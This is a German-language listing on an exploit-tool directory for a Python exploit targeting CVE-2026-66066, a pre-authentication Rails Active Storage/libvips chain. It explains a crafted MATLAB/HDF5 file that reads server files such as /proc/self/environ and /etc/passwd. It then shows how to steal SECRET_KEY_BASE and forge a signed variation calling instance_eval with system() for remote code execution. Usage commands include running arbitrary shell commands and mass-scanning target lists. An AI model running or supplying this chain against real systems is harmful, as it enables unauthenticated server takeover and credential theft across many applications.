Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-66066 — CVE-2026-66066 — KindaRails2Shell: Rails Active Storage/libvips Beliebiger Dateizugriff → RCE. MATLAB/HDF5-Datei mit doppelter Identität → SECRET_KEY_BASE-Diebstahl → gefälschte Variation. CVSS 9.5 | Rails < 8.1.3.1 | Kitploit
Tools/GitHubGitHub/shinthink/cve-2026-66066
AufklärungSchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstests
GitHubshinthink/cve-2026-66066

CVE-2026-66066

CVE-2026-66066 — KindaRails2Shell: Rails Active Storage/libvips Beliebiger Dateizugriff → RCE. MATLAB/HDF5-Datei mit doppelter Identität → SECRET_KEY_BASE-Diebstahl → gefälschte Variation. CVSS 9.5 | Rails < 8.1.3.1

Repository anzeigen
15vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-66066 — KindaRails2Shell

Rails Active Storage/libvips Beliebiges Dateilesen → SECRET_KEY_BASE-Diebstahl → RCE


Überblick

CVE-2026-66066 ist eine kritische (CVSS 9.5) Pre-Authentifizierungs-Kette von beliebigem Dateilesen bis zur Remote-Code-Ausführung in Ruby on Rails Active Storage. Betroffen sind Rails 7.2.0–7.2.3.1, 8.0.0–8.0.5 und 8.1.0–8.1.3 in ihrer Standardkonfiguration.

Die Schwachstelle nutzt eine Vier-Ebenen-Parser-Konfusion über Rails, libvips, libmatio und HDF5 hinweg aus. Eine manipulierte Datei mit einem MATLAB-5.0-Header (der den Sniffer von libvips erfüllt) und einem HDF5-v7.3-Container (der von libmatio weitergeleitet wird) enthält ein externes Dataset, das auf einen beliebigen serverseitigen Dateipfad verweist. Wenn ActiveStorage diese Datei als Bildvariante verarbeitet, werden die Bytes der Zieldatei zu Bildpixeln – was beliebiges Dateilesen ohne Authentifizierung ermöglicht.

Sobald SECRET_KEY_BASE aus /proc/self/environ oder aus Credential-Dateien extrahiert wurde, leitet der Angreifer den Active-Storage-Verifier-Schlüssel ab und fälscht ein signiertes Varianten-JSON, das instance_eval enthält, um Remote-Code-Ausführung zu erreichen.

Betroffene Installationen: 500K+ Rails-Anwendungen (Rails 7+ Standard variant_processor = :vips) Entdeckt von: Ethiack Research Team + RyotaK (GMO Flatt Security) + bl0rph, Juli 2026 Patch: Rails 7.2.3.2 / 8.0.5.1 / 8.1.3.1 (29. Juli 2026)

Betroffene Versionen

BranchVerwundbarBehoben
7.2.x7.2.0 – 7.2.3.17.2.3.2
8.0.x8.0.0 – 8.0.58.0.5.1
8.1.x8.1.0 – 8.1.38.1.3.1

Rails 6.x ist nur betroffen, wenn variant_processor = :vips manuell aktiviert wurde.

Entdeckt von: André Baptista, Bruno Mendes, Rafael Castilho (Ethiack); RyotaK (GMO Flatt Security); bl0rph Referenz-PoC: 0xsha/KindaRails2Shell Metasploit: exploit/multi/http/rails_activestorage_vips_rce


Schwachstellenmechanismus

Grundursache: Vier-Ebenen-Parser-Konfusion

Der Exploit verkettet zwei unabhängige Content-Type-Konflikte über vier Komponenten hinweg:

Layer 1: Rails      → trusts client-declared content_type (image/png)
                      No byte re-identification on direct upload blobs.
Layer 2: libvips    → trusts magic bytes "MATLAB 5.0" at offset 0–9
                      Routes the file to matload without verifying the full header.
Layer 3: libmatio   → trusts version word 0x0200 at offset 124–125
                      Dispatches to HDF5 reader; ignores the descriptive text mismatch.
Layer 4: HDF5       → trusts external(path, offset, length) dataset reference
                      H5Dread transparently opens and reads the external file.
                      
Result: arbitrary file bytes returned as PNG pixel data.

Die Datei mit doppelter Identität

BytesZweckWert
0–9libvips snifferMATLAB 5.0
10–123PaddingLeerzeichen
124–125libmatio-Dispatcher0x0200 (HDF5 v7.3)
126–127Endian-Marker0x4d49 (IM)
128–511HDF5-UserblockPadding
512+HDF5-SuperblockContainer mit externem Dataset

„Kein legitimer Writer erzeugt sowohl MATLAB 5.0 an Byte 0 als auch 0x0200 an Byte 124."

Warum es funktioniert

  1. Vom Client deklarierter content_type — Blob#variable? vertraut der Datenbankspalte, die beim direkten Upload befüllt wird. Es werden keine Bytes geprüft.
  2. libvips-Autodetektion — Vips::Image.new_from_file iteriert über die Loader; der Sniffer von matload prüft nur 10 Bytes.
  3. libmatio-Versionsverteilung — Die Bytes 124–125 bestimmen den Parser; 0x0200 wählt das HDF5-Backend unabhängig vom beschreibenden Text.
  4. Externe HDF5-Datasets — H5Pset_external erlaubt es, dass die Rohbytes eines Datasets in einer beliebigen externen Datei liegen. libmatio ruft H5Dread auf, ohne H5Pget_external_count zu prüfen.
  5. Variationsschlüssel sind Blob-unabhängig — Geerntete Variationsschlüssel signieren nur die Transformation, nicht die Blob-ID, wodurch sie bei jedem hochgeladenen Blob wiederverwendbar sind.
  6. Dem Vips-Transformer fehlt eine Methoden-Allowlist — Transformers::Vips erbt validate_transformation von der Basisklasse, die nur combine_options blockiert. Beliebige Methodennamen werden an Vips::Image.public_send durchgereicht.

Angriffsablauf

1. POST /rails/active_storage/direct_uploads
   blob[content_type]=image/png&blob[checksum]=<MD5_of_payload>
   → Rails persists blob with client-declared type, identified=false forever

2. PUT <storage_url>
   body=<MATLAB 5.0 + HDF5 external(/proc/self/environ) payload>
   → Payload uploaded, blob ready for processing

3. Harvest variation_key from any existing thumbnail on the app
   → og:image, HTML , API responses, Internet Archive

4. GET /rails/active_storage/representations/redirect/:signed_id/:variation_key/poc.png
   → ActiveStorage downloads blob, passes to libvips
   → libvips detects "MATLAB 5.0", routes to matload
   → libmatio sees 0x0200, opens HDF5 container
   → H5Dread resolves external(/proc/self/environ) → file bytes become pixels
   → PNG thumbnail returned to attacker

5. Decode PNG pixels → recover SECRET_KEY_BASE from environment

6. Derive verifier key: PBKDF2-HMAC-SHA256(SECRET_KEY_BASE, "ActiveStorage", 1000, 64)
   Forge signed variation: {"instance_eval" => "system('cmd > /tmp/out')"}
   Submit to representations route → RCE

Verifizierte Quellcode-Referenzen

DateiZweck
activestorage/app/models/active_storage/blob.rbvariable? vertraut der Spalte content_type
activestorage/app/models/active_storage/blob/representable.rbDie Representation-Route löst Blob und Variation unabhängig auf
activestorage/app/models/active_storage/variation.rbdecode verifiziert den Variationsschlüssel; keine Querverbindung zum Blob
image_processing/lib/image_processing/transformers/vips.rbKeine Methoden-Allowlist — erbt das Verhalten der Basisklasse
libvips/foreign/matload.cvips__mat_ismat prüft nur die ersten 10 Bytes

Installation

git clone https://github.com/shinthink/CVE-2026-66066.git
cd CVE-2026-66066
pip install requests

Verwendung

# Full chain — file read → secret recovery → RCE
python cve_2026_66066.py -t rails-app.com

# Read a specific file
python cve_2026_66066.py -t rails-app.com --read /etc/passwd

# Provide SECRET_KEY_BASE directly (skip file read)
python cve_2026_66066.py -t rails-app.com --skb <secret> -c "id; hostname"

# Mass scan
python cve_2026_66066.py -f targets.txt -o rce.txt --threads 10

Argumente

  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -c, --command      Shell command to execute (default: id)
  --read PATH        Read a specific file from the server
  --skb SECRET       Provide SECRET_KEY_BASE directly for RCE
  -o, --output       Save results to file
  --threads          Concurrent workers (default: 20)
  --timeout          HTTP request timeout in seconds
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

Proof of Concept

Einzelnes Ziel

$ python cve_2026_66066.py -t rails-app.example.com
  KindaRails2Shell | CVE-2026-66066 | CVSS 9.5
Tool herunterladen